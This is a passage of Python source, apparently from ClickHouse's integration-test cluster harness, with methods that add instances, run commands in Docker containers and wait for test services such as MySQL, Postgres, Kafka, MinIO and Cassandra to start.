with_jdbc_bridge=False, hostname=None, env_variables=None, image="clickhouse/integration-test", tag=None, stay_alive=False, ipv4_address=None, ipv6_address=None, with_installed_binary=False, external_dirs=None, tmpfs=None, zookeeper_docker_compose_path=None, minio_certs_dir=None, use_keeper=True, main_config_name="config.xml", users_config_name="users.xml", copy_common_configs=True, config_root_name="clickhouse") -> 'ClickHouseInstance': """Add an instance to the cluster. name - the name of the instance directory and the value of the 'instance' macro in ClickHouse. base_config_dir - a directory with config.xml and users.xml files which will be copied to /etc/clickhouse-server/ directory main_configs - a list of config files that will be added to config.d/ directory user_configs - a list of config files that will be added to users.d/ directory with_zookeeper - if True, add ZooKeeper configuration to configs and ZooKeeper instances to the cluster. with_zookeeper_secure - if True, add ZooKeeper Secure configuration to configs and ZooKeeper instances to the cluster. """ if self.is_up: raise Exception("Can\'t add instance %s: cluster is already up!" % name) if name in self.instances: raise Exception("Can\'t add instance `%s': there is already an instance with the same name!" % name) if tag is None: tag = self.docker_base_tag if not env_variables: env_variables = {} self.use_keeper = use_keeper # Code coverage files will be placed in database directory # (affect only WITH_COVERAGE=1 build) env_variables['LLVM_PROFILE_FILE'] = '/var/lib/clickhouse/server_%h_%p_%m.profraw' instance = ClickHouseInstance( cluster=self, base_path=self.base_dir, name=name, base_config_dir=base_config_dir if base_config_dir else self.base_config_dir, custom_main_configs=main_configs or [], custom_user_configs=user_configs or [], custom_dictionaries=dictionaries or [], macros=macros or {}, with_zookeeper=with_zookeeper, zookeeper_config_path=self.zookeeper_config_path, with_mysql_client=with_mysql_client, with_mysql=with_mysql, with_mysql8=with_mysql8, with_mysql_cluster=with_mysql_cluster, with_kafka=with_kafka, with_kerberized_kafka=with_kerberized_kafka, with_rabbitmq=with_rabbitmq, with_nginx=with_nginx, with_kerberized_hdfs=with_kerberized_hdfs, with_mongo=with_mongo or with_mongo_secure, with_redis=with_redis, with_minio=with_minio, with_azurite=with_azurite, with_cassandra=with_cassandra, with_jdbc_bridge=with_jdbc_bridge, server_bin_path=self.server_bin_path, odbc_bridge_bin_path=self.odbc_bridge_bin_path, library_bridge_bin_path=self.library_bridge_bin_path, clickhouse_path_dir=clickhouse_path_dir, with_odbc_drivers=with_odbc_drivers, with_postgres=with_postgres, with_postgres_cluster=with_postgres_cluster, hostname=hostname, env_variables=env_variables, image=image, tag=tag, stay_alive=stay_alive, ipv4_address=ipv4_address, ipv6_address=ipv6_address, with_installed_binary=with_installed_binary, main_config_name=main_config_name, users_config_name=users_config_name, copy_common_configs=copy_common_configs, external_dirs=external_dirs, tmpfs=tmpfs or [], config_root_name=config_root_name) docker_compose_yml_dir = get_docker_compose_path() self.instances[name] = instance if ipv4_address is not None or ipv6_address is not None: self.with_net_trics = True self.base_cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_net.yml')]) self.base_cmd.extend(['--file', instance.docker_compose_path]) cmds = [] if with_zookeeper_secure and not self.with_zookeeper_secure: cmds.append(self.setup_zookeeper_secure_cmd(instance, env_variables, docker_compose_yml_dir)) if with_zookeeper and not self.with_zookeeper: if self.use_keeper: cmds.append(self.setup_keeper_cmd(instance, env_variables, docker_compose_yml_dir)) else: cmds.append(self.setup_zookeeper_cmd(instance, env_variables, docker_compose_yml_dir)) if with_mysql_client and not self.with_mysql_client: cmds.append(self.setup_mysql_client_cmd(instance, env_variables, docker_compose_yml_dir)) if with_mysql and not self.with_mysql: cmds.append(self.setup_mysql_cmd(instance, env_variables, docker_compose_yml_dir)) if with_mysql8 and not self.with_mysql8: cmds.append(self.setup_mysql8_cmd(instance, env_variables, docker_compose_yml_dir)) if with_mysql_cluster and not self.with_mysql_cluster: cmds.append(self.setup_mysql_cluster_cmd(instance, env_variables, docker_compose_yml_dir)) if with_postgres and not self.with_postgres: cmds.append(self.setup_postgres_cmd(instance, env_variables, docker_compose_yml_dir)) if with_postgres_cluster and not self.with_postgres_cluster: cmds.append(self.setup_postgres_cluster_cmd(instance, env_variables, docker_compose_yml_dir)) if with_odbc_drivers and not self.with_odbc_drivers: self.with_odbc_drivers = True if not self.with_mysql: cmds.append(self.setup_mysql_cmd(instance, env_variables, docker_compose_yml_dir)) if not self.with_postgres: cmds.append(self.setup_postgres_cmd(instance, env_variables, docker_compose_yml_dir)) if with_kafka and not self.with_kafka: cmds.append(self.setup_kafka_cmd(instance, env_variables, docker_compose_yml_dir)) if with_kerberized_kafka and not self.with_kerberized_kafka: cmds.append(self.setup_kerberized_kafka_cmd(instance, env_variables, docker_compose_yml_dir)) if with_rabbitmq and not self.with_rabbitmq: cmds.append(self.setup_rabbitmq_cmd(instance, env_variables, docker_compose_yml_dir)) if with_nginx and not self.with_nginx: cmds.append(self.setup_nginx_cmd(instance, env_variables, docker_compose_yml_dir)) if with_hdfs and not self.with_hdfs: cmds.append(self.setup_hdfs_cmd(instance, env_variables, docker_compose_yml_dir)) if with_kerberized_hdfs and not self.with_kerberized_hdfs: cmds.append(self.setup_kerberized_hdfs_cmd(instance, env_variables, docker_compose_yml_dir)) if (with_mongo or with_mongo_secure) and not (self.with_mongo or self.with_mongo_secure): if with_mongo_secure: cmds.append(self.setup_mongo_secure_cmd(instance, env_variables, docker_compose_yml_dir)) else: cmds.append(self.setup_mongo_cmd(instance, env_variables, docker_compose_yml_dir)) if self.with_net_trics: for cmd in cmds: cmd.extend(['--file', p.join(docker_compose_yml_dir, 'docker_compose_net.yml')]) if with_redis and not self.with_redis: cmds.append(self.setup_redis_cmd(instance, env_variables, docker_compose_yml_dir)) if with_minio and not self.with_minio: cmds.append(self.setup_minio_cmd(instance, env_variables, docker_compose_yml_dir)) if with_azurite and not self.with_azurite: cmds.append(self.setup_azurite_cmd(instance, env_variables, docker_compose_yml_dir)) if minio_certs_dir is not None: if self.minio_certs_dir is None: self.minio_certs_dir = minio_certs_dir else: raise Exception("Overwriting minio certs dir") if with_cassandra and not self.with_cassandra: cmds.append(self.setup_cassandra_cmd(instance, env_variables, docker_compose_yml_dir)) if with_jdbc_bridge and not self.with_jdbc_bridge: cmds.append(self.setup_jdbc_bridge_cmd(instance, env_variables, docker_compose_yml_dir)) logging.debug("Cluster name:{} project_name:{}. Added instance name:{} tag:{} base_cmd:{} docker_compose_yml_dir:{}".format( self.name, self.project_name, name, tag, self.base_cmd, docker_compose_yml_dir)) return instance def get_instance_docker_id(self, instance_name): # According to how docker-compose names containers. return self.project_name + '_' + instance_name + '_1' def _replace(self, path, what, to): with open(path, 'r') as p: data = p.read() data = data.replace(what, to) with open(path, 'w') as p: p.write(data) def restart_instance_with_ip_change(self, node, new_ip): if '::' in new_ip: if node.ipv6_address is None: raise Exception("You should specity ipv6_address in add_node method") self._replace(node.docker_compose_path, node.ipv6_address, new_ip) node.ipv6_address = new_ip else: if node.ipv4_address is None: raise Exception("You should specity ipv4_address in add_node method") self._replace(node.docker_compose_path, node.ipv4_address, new_ip) node.ipv4_address = new_ip run_and_check(self.base_cmd + ["stop", node.name]) run_and_check(self.base_cmd + ["rm", "--force", "--stop", node.name]) run_and_check(self.base_cmd + ["up", "--force-recreate", "--no-deps", "-d", node.name]) node.ip_address = self.get_instance_ip(node.name) node.client = Client(node.ip_address, command=self.client_bin_path) logging.info("Restart node with ip change") # In builds with sanitizer the server can take a long time to start node.wait_for_start(start_timeout=180.0, connection_timeout=600.0) # seconds res = node.client.query("SELECT 30") logging.debug(f"Read '{res}'") assert "30\n" == res logging.info("Restarted") return node def restart_service(self, service_name): run_and_check(self.base_cmd + ["restart", service_name]) def get_instance_ip(self, instance_name): logging.debug("get_instance_ip instance_name={}".format(instance_name)) docker_id = self.get_instance_docker_id(instance_name) # for cont in self.docker_client.containers.list(): # logging.debug("CONTAINERS LIST: ID={} NAME={} STATUS={}".format(cont.id, cont.name, cont.status)) handle = self.docker_client.containers.get(docker_id) return list(handle.attrs['NetworkSettings']['Networks'].values())[0]['IPAddress'] def get_container_id(self, instance_name): return self.get_instance_docker_id(instance_name) # docker_id = self.get_instance_docker_id(instance_name) # handle = self.docker_client.containers.get(docker_id) # return handle.attrs['Id'] def get_container_logs(self, instance_name): container_id = self.get_container_id(instance_name) return self.docker_client.api.logs(container_id).decode() def exec_in_container(self, container_id, cmd, detach=False, nothrow=False, use_cli=True, **kwargs): if use_cli: logging.debug(f"run container_id:{container_id} detach:{detach} nothrow:{nothrow} cmd: {cmd}") exec_cmd = ["docker", "exec"] if 'user' in kwargs: exec_cmd += ['-u', kwargs['user']] result = subprocess_check_call(exec_cmd + [container_id] + cmd, detach=detach, nothrow=nothrow) return result else: exec_id = self.docker_client.api.exec_create(container_id, cmd, **kwargs) output = self.docker_client.api.exec_start(exec_id, detach=detach) exit_code = self.docker_client.api.exec_inspect(exec_id)['ExitCode'] if exit_code: container_info = self.docker_client.api.inspect_container(container_id) image_id = container_info.get('Image') image_info = self.docker_client.api.inspect_image(image_id) logging.debug(("Command failed in container {}: ".format(container_id))) pprint.pprint(container_info) logging.debug("") logging.debug(("Container {} uses image {}: ".format(container_id, image_id))) pprint.pprint(image_info) logging.debug("") message = 'Cmd "{}" failed in container {}. Return code {}. Output: {}'.format(' '.join(cmd), container_id, exit_code, output) if nothrow: logging.debug(message) else: raise Exception(message) if not detach: return output.decode() return output def copy_file_to_container(self, container_id, local_path, dest_path): with open(local_path, "r") as fdata: data = fdata.read() encodedBytes = base64.b64encode(data.encode("utf-8")) encodedStr = str(encodedBytes, "utf-8") self.exec_in_container(container_id, ["bash", "-c", "echo {} | base64 --decode > {}".format(encodedStr, dest_path)], user='root') def wait_for_url(self, url="http://localhost:8123/ping", conn_timeout=2, interval=2, timeout=60): if not url.startswith('http'): url = "http://" + url if interval <= 0: interval = 2 if timeout <= 0: timeout = 60 attempts = 1 errors = [] start = time.time() while time.time() - start < timeout: try: requests.get(url, allow_redirects=True, timeout=conn_timeout, verify=False).raise_for_status() logging.debug("{} is available after {} seconds".format(url, time.time() - start)) return except Exception as ex: logging.debug("{} Attempt {} failed, retrying in {} seconds".format(ex, attempts, interval)) attempts += 1 errors += [str(ex)] time.sleep(interval) run_and_check(['docker', 'ps', '--all']) logging.error("Can't connect to URL:{}".format(errors)) raise Exception("Cannot wait URL {}(interval={}, timeout={}, attempts={})".format( url, interval, timeout, attempts)) def wait_mysql_client_to_start(self, timeout=180): start = time.time() errors = [] self.mysql_client_container = self.get_docker_handle(self.get_instance_docker_id(self.mysql_client_host)) while time.time() - start < timeout: try: info = self.mysql_client_container.client.api.inspect_container(self.mysql_client_container.name) if info['State']['Health']['Status'] == 'healthy': logging.debug("Mysql Client Container Started") return time.sleep(1) except Exception as ex: errors += [str(ex)] time.sleep(1) run_and_check(['docker', 'ps', '--all']) logging.error("Can't connect to MySQL Client:{}".format(errors)) raise Exception("Cannot wait MySQL Client container") def wait_mysql_to_start(self, timeout=180): self.mysql_ip = self.get_instance_ip('mysql57') start = time.time() errors = [] while time.time() - start < timeout: try: conn = pymysql.connect(user='root', password='clickhouse', host=self.mysql_ip, port=self.mysql_port) conn.close() logging.debug("Mysql Started") return except Exception as ex: errors += [str(ex)] time.sleep(0.5) run_and_check(['docker-compose', 'ps', '--services', '--all']) logging.error("Can't connect to MySQL:{}".format(errors)) raise Exception("Cannot wait MySQL container") def wait_mysql8_to_start(self, timeout=180): self.mysql8_ip = self.get_instance_ip('mysql80') start = time.time() while time.time() - start < timeout: try: conn = pymysql.connect(user='root', password='clickhouse', host=self.mysql8_ip, port=self.mysql8_port) conn.close() logging.debug("Mysql 8 Started") return except Exception as ex: logging.debug("Can't connect to MySQL 8 " + str(ex)) time.sleep(0.5) run_and_check(['docker-compose', 'ps', '--services', '--all']) raise Exception("Cannot wait MySQL 8 container") def wait_mysql_cluster_to_start(self, timeout=180): self.mysql2_ip = self.get_instance_ip(self.mysql2_host) self.mysql3_ip = self.get_instance_ip(self.mysql3_host) self.mysql4_ip = self.get_instance_ip(self.mysql4_host) start = time.time() errors = [] while time.time() - start < timeout: try: for ip in [self.mysql2_ip, self.mysql3_ip, self.mysql4_ip]: conn = pymysql.connect(user='root', password='clickhouse', host=ip, port=self.mysql_port) conn.close() logging.debug(f"Mysql Started {ip}") return except Exception as ex: errors += [str(ex)] time.sleep(0.5) run_and_check(['docker-compose', 'ps', '--services', '--all']) logging.error("Can't connect to MySQL:{}".format(errors)) raise Exception("Cannot wait MySQL container") def wait_postgres_to_start(self, timeout=260): self.postgres_ip = self.get_instance_ip(self.postgres_host) start = time.time() while time.time() - start < timeout: try: self.postgres_conn = psycopg2.connect(host=self.postgres_ip, port=self.postgres_port, database='postgres', user='postgres', password='mysecretpassword') self.postgres_conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT) self.postgres_conn.autocommit = True logging.debug("Postgres Started") return except Exception as ex: logging.debug("Can't connect to Postgres " + str(ex)) time.sleep(0.5) raise Exception("Cannot wait Postgres container") def wait_postgres_cluster_to_start(self, timeout=180): self.postgres2_ip = self.get_instance_ip(self.postgres2_host) self.postgres3_ip = self.get_instance_ip(self.postgres3_host) self.postgres4_ip = self.get_instance_ip(self.postgres4_host) start = time.time() while time.time() - start < timeout: try: self.postgres2_conn = psycopg2.connect(host=self.postgres2_ip, port=self.postgres_port, database='postgres', user='postgres', password='mysecretpassword') self.postgres2_conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT) self.postgres2_conn.autocommit = True logging.debug("Postgres Cluster host 2 started") break except Exception as ex: logging.debug("Can't connect to Postgres host 2" + str(ex)) time.sleep(0.5) while time.time() - start < timeout: try: self.postgres3_conn = psycopg2.connect(host=self.postgres3_ip, port=self.postgres_port, database='postgres', user='postgres', password='mysecretpassword') self.postgres3_conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT) self.postgres3_conn.autocommit = True logging.debug("Postgres Cluster host 3 started") break except Exception as ex: logging.debug("Can't connect to Postgres host 3" + str(ex)) time.sleep(0.5) while time.time() - start < timeout: try: self.postgres4_conn = psycopg2.connect(host=self.postgres4_ip, port=self.postgres_port, database='postgres', user='postgres', password='mysecretpassword') self.postgres4_conn.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT) self.postgres4_conn.autocommit = True logging.debug("Postgres Cluster host 4 started") return except Exception as ex: logging.debug("Can't connect to Postgres host 4" + str(ex)) time.sleep(0.5) raise Exception("Cannot wait Postgres container") def wait_rabbitmq_to_start(self, timeout=180, throw=True): self.rabbitmq_ip = self.get_instance_ip(self.rabbitmq_host) start = time.time() while time.time() - start < timeout: try: if check_rabbitmq_is_available(self.rabbitmq_docker_id): logging.debug("RabbitMQ is available") if enable_consistent_hash_plugin(self.rabbitmq_docker_id): logging.debug("RabbitMQ consistent hash plugin is available") return True time.sleep(0.5) except Exception as ex: logging.debug("Can't connect to RabbitMQ " + str(ex)) time.sleep(0.5) if throw: raise Exception("Cannot wait RabbitMQ container") return False def wait_nginx_to_start(self, timeout=60): self.nginx_ip = self.get_instance_ip(self.nginx_host) start = time.time() while time.time() - start < timeout: try: self.exec_in_container(self.nginx_id, ["curl", "-X", "PUT", "-d", "Test", "http://test.com/test.txt"]) res = self.exec_in_container(self.nginx_id, ["curl", "-X", "GET", "http://test.com/test.txt"]) assert(res == 'Test') print('nginx static files server is available') return except Exception as ex: print("Can't connect to nginx: " + str(ex)) time.sleep(0.5) def wait_zookeeper_secure_to_start(self, timeout=20): logging.debug("Wait ZooKeeper Secure to start") start = time.time() while time.time() - start < timeout: try: for instance in ['zoo1', 'zoo2', 'zoo3']: conn = self.get_kazoo_client(instance) conn.get_children('/') conn.stop() logging.debug("All instances of ZooKeeper Secure started") return except Exception as ex: logging.debug("Can't connect to ZooKeeper secure " + str(ex)) time.sleep(0.5) raise Exception("Cannot wait ZooKeeper secure container") def wait_zookeeper_to_start(self, timeout=180): logging.debug("Wait ZooKeeper to start") start = time.time() while time.time() - start < timeout: try: for instance in ['zoo1', 'zoo2', 'zoo3']: conn = self.get_kazoo_client(instance) conn.get_children('/') conn.stop() logging.debug("All instances of ZooKeeper started") return except Exception as ex: logging.debug("Can't connect to ZooKeeper " + str(ex)) time.sleep(0.5) raise Exception("Cannot wait ZooKeeper container") def make_hdfs_api(self, timeout=180, kerberized=False): if kerberized: keytab = p.abspath(p.join(self.instances['node1'].path, "secrets/clickhouse.keytab")) krb_conf = p.abspath(p.join(self.instances['node1'].path, "secrets/krb_long.conf")) self.hdfs_kerberized_ip = self.get_instance_ip(self.hdfs_kerberized_host) kdc_ip = self.get_instance_ip('hdfskerberos') self.hdfs_api = HDFSApi(user="root", timeout=timeout, kerberized=True, principal="root@TEST.CLICKHOUSE.TECH", keytab=keytab, krb_conf=krb_conf, host=self.hdfs_kerberized_host, protocol="http", proxy_port=self.hdfs_kerberized_name_port, data_port=self.hdfs_kerberized_data_port, hdfs_ip=self.hdfs_kerberized_ip, kdc_ip=kdc_ip) else: self.hdfs_ip = self.get_instance_ip(self.hdfs_host) self.hdfs_api = HDFSApi(user="root", host=self.hdfs_host, data_port=self.hdfs_data_port, proxy_port=self.hdfs_name_port, hdfs_ip=self.hdfs_ip) def wait_kafka_is_available(self, kafka_docker_id, kafka_port, max_retries=50): retries = 0 while True: if check_kafka_is_available(kafka_docker_id, kafka_port): break else: retries += 1 if retries > max_retries: raise Exception("Kafka is not available") logging.debug("Waiting for Kafka to start up") time.sleep(1) def wait_hdfs_to_start(self, timeout=300, check_marker=False): start = time.time() while time.time() - start < timeout: try: self.hdfs_api.write_data("/somefilewithrandomname222", "1") logging.debug("Connected to HDFS and SafeMode disabled! ") if check_marker: self.hdfs_api.read_data("/preparations_done_marker") return except Exception as ex: logging.exception("Can't connect to HDFS or preparations are not done yet " + str(ex)) time.sleep(1) raise Exception("Can't wait HDFS to start") def wait_mongo_to_start(self, timeout=30, secure=False): connection_str = 'mongodb://{user}:{password}@{host}:{port}'.format( host='localhost', port=self.mongo_port, user='root', password='clickhouse') if secure: connection_str += '/?tls=true&tlsAllowInvalidCertificates=true' connection = pymongo.MongoClient(connection_str) start = time.time() while time.time() - start < timeout: try: connection.list_database_names() logging.debug(f"Connected to Mongo dbs: {connection.database_names()}") return except Exception as ex: logging.debug("Can't connect to Mongo " + str(ex)) time.sleep(1) def wait_minio_to_start(self, timeout=180, secure=False): self.minio_ip = self.get_instance_ip(self.minio_host) self.minio_redirect_ip = self.get_instance_ip(self.minio_redirect_host) os.environ['SSL_CERT_FILE'] = p.join(self.base_dir, self.minio_dir, 'certs', 'public.crt') minio_client = Minio(f'{self.minio_ip}:{self.minio_port}', access_key='minio', secret_key='minio123', secure=secure, http_client=urllib3.PoolManager(cert_reqs='CERT_NONE')) # disable SSL check as we test ClickHouse and not Python library start = time.time() while time.time() - start < timeout: try: minio_client.list_buckets() logging.debug("Connected to Minio.") buckets = [self.minio_bucket, self.minio_bucket_2] for bucket in buckets: if minio_client.bucket_exists(bucket): delete_object_list = map( lambda x: x.object_name, minio_client.list_objects_v2(bucket, recursive=True), ) errors = minio_client.remove_objects(bucket, delete_object_list) for error in errors: logging.error(f"Error occured when deleting object {error}") minio_client.remove_bucket(bucket) minio_client.make_bucket(bucket) logging.debug("S3 bucket '%s' created", bucket) self.minio_client = minio_client return except Exception as ex: logging.debug("Can't connect to Minio: %s", str(ex)) time.sleep(1) raise Exception("Can't wait Minio to start") def wait_azurite_to_start(self, timeout=180): from azure.storage.blob import BlobServiceClient connection_string = "DefaultEndpointsProtocol=http;AccountName=devstoreaccount1;AccountKey=Eby8vdM02xNOcqFlqUwJPLlmEtlCDXJ1OUzFT50uSRZ6IFsuFq2UVErCz4I6tq/K1SZFPTOtr/KBHBeksoGMGw==;BlobEndpoint=http://127.0.0.1:10000/devstoreaccount1;" time.sleep(1) start = time.time() while time.time() - start < timeout: try: blob_service_client = BlobServiceClient.from_connection_string(connection_string) logging.debug(blob_service_client.get_account_information()) self.blob_service_client = blob_service_client return except Exception as ex: logging.debug("Can't connect to Azurite: %s", str(ex)) time.sleep(1) raise Exception("Can't wait Azurite to start") def wait_schema_registry_to_start(self, timeout=180): sr_client = CachedSchemaRegistryClient({"url":'http://localhost:{}'.format(self.schema_registry_port)}) start = time.time() while time.time() - start < timeout: try: sr_client._send_request(sr_client.url) logging.debug("Connected to SchemaRegistry") return sr_client except Exception as ex: logging.debug(("Can't connect to SchemaRegistry: %s", str(ex))) time.sleep(1) raise Exception("Can't wait Schema Registry to start") def wait_cassandra_to_start(self, timeout=180): self.cassandra_ip = self.get_instance_ip(self.cassandra_host) cass_client = cassandra.cluster.Cluster([self.cassandra_ip], port=self.cassandra_port, load_balancing_policy=RoundRobinPolicy()) start = time.time() while time.time() - start < timeout: try: logging.info(f"Check Cassandra Online {self.cassandra_id} {self.cassandra_ip} {self.cassandra_port}") check = self.exec_in_container(self.cassandra_id, ["bash", "-c", f"/opt/cassandra/bin/cqlsh -u cassandra -p cassandra -e 'describe keyspaces' {self.cassandra_ip} {self.cassandra_port}"], user='root') logging.info("Cassandra Online") cass_client.connect() logging.info("Connected Clients to Cassandra") return except Exception as ex: logging.warning("Can't connect to Cassandra: %s", str(ex)) time.sleep(1) raise Exception("Can't wait Cassandra to start") def start(self, destroy_dirs=True): pytest_xdist_logging_to_separate_files.setup() logging.info("Running tests in {}".format(self.base_path)) logging.debug("Cluster start called. is_up={}, destroy_dirs={}".format(self.is_up, destroy_dirs)) if self.is_up: return try: self.cleanup() except Exception as e: logging.warning("Cleanup failed:{e}") try: # clickhouse_pull_cmd = self.base_cmd + ['pull'] # print(f"Pulling images for {self.base_cmd}") # retry_exception(10, 5, subprocess_check_call, Exception, clickhouse_pull_cmd) if destroy_dirs and p.exists(self.instances_dir): logging.debug(f"Removing instances dir {self.instances_dir}") shutil.rmtree(self.instances_dir) for instance in list(self.instances.values()): logging.debug(('Setup directory for instance: {} destroy_dirs: {}'.format(instance.name, destroy_dirs))) instance.create_dir(destroy_dir=destroy_dirs) _create_env_file(os.path.join(self.env_file), self.env_variables) self.docker_client = docker.DockerClient(base_url='unix:///var/run/docker.sock', version=self.docker_api_version, timeout=600) common_opts = ['--verbose', 'up', '-d'] if self.with_zookeeper_secure and self.base_zookeeper_cmd: logging.debug('Setup ZooKeeper Secure') logging.debug(f'Creating internal ZooKeeper dirs: {self.zookeeper_dirs_to_create}') for i in range(1,3): if os.path.exists(self.zookeeper_instance_dir_prefix + f"{i}"): shutil.rmtree(self.zookeeper_instance_dir_prefix + f"{i}") for dir in self.zookeeper_dirs_to_create: os.makedirs(dir) run_and_check(self.base_zookeeper_cmd + common_opts, env=self.env) self.up_called = True self.wait_zookeeper_secure_to_start() for command in self.pre_zookeeper_commands: self.run_kazoo_commands_with_retries(command, repeats=5) if self.with_zookeeper and self.base_zookeeper_cmd: logging.debug('Setup ZooKeeper') logging.debug(f'Creating internal ZooKeeper dirs: {self.zookeeper_dirs_to_create}') if self.use_keeper: for i in range(1,4): if os.path.exists(self.keeper_instance_dir_prefix + f"{i}"): shutil.rmtree(self.keeper_instance_dir_prefix + f"{i}") else: for i in range(1,3): if os.path.exists(self.zookeeper_instance_dir_prefix + f"{i}"): shutil.rmtree(self.zookeeper_instance_dir_prefix + f"{i}") for dir in self.zookeeper_dirs_to_create: os.makedirs(dir) if self.use_keeper: # TODO: remove hardcoded paths from here for i in range(1,4): shutil.copy(os.path.join(HELPERS_DIR, f'keeper_config{i}.xml'), os.path.join(self.keeper_instance_dir_prefix + f"{i}", "config" )) run_and_check(self.base_zookeeper_cmd + common_opts, env=self.env) self.up_called = True self.wait_zookeeper_to_start() for command in self.pre_zookeeper_commands: self.run_kazoo_commands_with_retries(command, repeats=5) if self.with_mysql_client and self.base_mysql_client_cmd: logging.debug('Setup MySQL Client') subprocess_check_call(self.base_mysql_client_cmd + common_opts) self.wait_mysql_client_to_start() if self.with_mysql and self.base_mysql_cmd: logging.debug('Setup MySQL') if os.path.exists(self.mysql_dir): shutil.rmtree(self.mysql_dir) os.makedirs(self.mysql_logs_dir) os.chmod(self.mysql_logs_dir, stat.S_IRWXU | stat.S_IRWXO) subprocess_check_call(self.base_mysql_cmd + common_opts) self.up_called = True self.wait_mysql_to_start() if self.with_mysql8 and self.base_mysql8_cmd: logging.debug('Setup MySQL 8') if os.path.exists(self.mysql8_dir): shutil.rmtree(self.mysql8_dir) os.makedirs(self.mysql8_logs_dir) os.chmod(self.mysql8_logs_dir, stat.S_IRWXU | stat.S_IRWXO) subprocess_check_call(self.base_mysql8_cmd + common_opts) self.wait_mysql8_to_start() if self.with_mysql_cluster and self.base_mysql_cluster_cmd: print('Setup MySQL') if os.path.exists(self.mysql_cluster_dir): shutil.rmtree(self.mysql_cluster_dir) os.makedirs(self.mysql_cluster_logs_dir) os.chmod(self.mysql_cluster_logs_dir, stat.S_IRWXU | stat.S_IRWXO) subprocess_check_call(self.base_mysql_cluster_cmd + common_opts) self.up_called = True self.wait_mysql_cluster_to_start() if self.with_postgres and self.base_postgres_cmd: logging.debug('Setup Postgres') if os.path.exists(self.postgres_dir): shutil.rmtree(self.postgres_dir) os.makedirs(self.postgres_logs_dir) os.chmod(self.postgres_logs_dir, stat.S_IRWXU | stat.S_IRWXO) subprocess_check_call(self.base_postgres_cmd + common_opts) self.up_called = True self.wait_postgres_to_start() if self.with_postgres_cluster and self.base_postgres_cluster_cmd: print('Setup Postgres') os.makedirs(self.postgres2_logs_dir) os.chmod(self.postgres2_logs_dir, stat.S_IRWXU | stat.S_IRWXO) os.makedirs(self.postgres3_logs_dir) os.chmod(self.postgres3_logs_dir, stat.S_IRWXU | stat.S_IRWXO) os.makedirs(self.postgres4_logs_dir) os.chmod(self.postgres4_logs_dir, stat.S_IRWXU | stat.S_IRWXO) subprocess_check_call(self.base_postgres_cluster_cmd + common_opts) self.up_called = True self.wait_postgres_cluster_to_start() if self.with_kafka and self.base_kafka_cmd: logging.debug('Setup Kafka') subprocess_check_call(self.base_kafka_cmd + common_opts + ['--renew-anon-volumes']) self.up_called = True self.wait_kafka_is_available(self.kafka_docker_id, self.kafka_port) self.wait_schema_registry_to_start() if self.with_kerberized_kafka and self.base_kerberized_kafka_cmd: logging.debug('Setup kerberized kafka') run_and_check(self.base_kerberized_kafka_cmd + common_opts + ['--renew-anon-volumes']) self.up_called = True self.wait_kafka_is_available(self.kerberized_kafka_docker_id, self.kerberized_kafka_port, 100) if self.with_rabbitmq and self.base_rabbitmq_cmd: logging.debug('Setup RabbitMQ') os.makedirs(self.rabbitmq_logs_dir) os.chmod(self.rabbitmq_logs_dir, stat.S_IRWXU | stat.S_IRWXO) for i in range(5): subprocess_check_call(self.base_rabbitmq_cmd + common_opts + ['--renew-anon-volumes']) self.up_called = True self.rabbitmq_docker_id = self.get_instance_docker_id('rabbitmq1') logging.debug(f"RabbitMQ checking container try: {i}") if self.wait_rabbitmq_to_start(throw=(i==4)): break if self.with_hdfs and self.base_hdfs_cmd: logging.debug('Setup HDFS') os.makedirs(self.hdfs_logs_dir) os.chmod(self.hdfs_logs_dir, stat.S_IRWXU | stat.S_IRWXO) subprocess_check_call(self.base_hdfs_cmd + common_opts) self.up_called = True self.make_hdfs_api() self.wait_hdfs_to_start() if self.with_kerberized_hdfs and self.base_kerberized_hdfs_cmd: logging.debug('Setup kerberized HDFS') os.makedirs(self.hdfs_kerberized_logs_dir) os.chmod(self.hdfs_kerberized_logs_dir, stat.S_IRWXU | stat.S_IRWXO) run_and_check(self.base_kerberized_hdfs_cmd + common_opts) self.up_called = True self.make_hdfs_api(kerberized=True) self.wait_hdfs_to_start(check_marker=True) if self.with_nginx and self.base_nginx_cmd: logging.debug('Setup nginx') subprocess_check_call(self.base_nginx_cmd + common_opts + ['--renew-anon-volumes']) self.up_called = True self.nginx_docker_id = self.get_instance_docker_id('nginx') self.wait_nginx_to_start() if self.with_mongo and self.base_mongo_cmd: logging.debug('Setup Mongo') run_and_check(self.base_mongo_cmd + common_opts) self.up_called = True self.wait_mongo_to_start(30, secure=self.with_mongo_secure) if self.with_redis and self.base_redis_cmd: logging.debug('Setup Redis') subprocess_check_call(self.base_redis_cmd + common_opts) self.up_called = True time.sleep(10) if self.with_minio and self.base_minio_cmd: # Copy minio certificates to minio/certs os.mkdir(self.minio_dir) if self.minio_certs_dir is None: os.mkdir(os.path.join(self.minio_dir, 'certs')) else: shutil.copytree(os.path.join(self.base_dir, self.minio_certs_dir), os.path.join(self.minio_dir, 'certs')) minio_start_cmd = self.base_minio_cmd + common_opts logging.info("Trying to create Minio instance by command %s", ' '.join(map(str, minio_start_cmd))) run_and_check(minio_start_cmd) self.up_called = True logging.info("Trying to connect to Minio...") self.wait_minio_to_start(secure=self.minio_certs_dir is not None) if self.with_azurite and self.base_azurite_cmd: azurite_start_cmd = self.base_azurite_cmd + common_opts logging.info("Trying to create Azurite instance by command %s", ' '.join(map(str, azurite_start_cmd))) run_and_check(azurite_start_cmd) self.up_called = True logging.info("Trying to connect to Azurite") self.wait_azurite_to_start() if self.with_cassandra and self.base_cassandra_cmd: subprocess_check_call(self.base_cassandra_cmd + ['up', '-d']) self.up_called = True self.wait_cassandra_to_start() if self.with_jdbc_bridge and self.base_jdbc_bridge_cmd: os.makedirs(self.jdbc_driver_logs_dir) os.chmod(self.jdbc_driver_logs_dir, stat.S_IRWXU | stat.S_IRWXO) subprocess_check_call(self.base_jdbc_bridge_cmd + ['up', '-d']) self.up_called = True self.jdbc_bridge_ip = self.get_instance_ip(self.jdbc_bridge_host) self.wait_for_url(f"http://{self.jdbc_bridge_ip}:{self.jdbc_bridge_port}/ping") clickhouse_start_cmd = self.base_cmd + ['up', '-d', '--no-recreate'] logging.debug(("Trying to create ClickHouse instance by command %s", ' '.join(map(str, clickhouse_start_cmd)))) self.up_called = True run_and_check(clickhouse_start_cmd) logging.debug("ClickHouse instance created") start_timeout = 300.0 # seconds for instance in 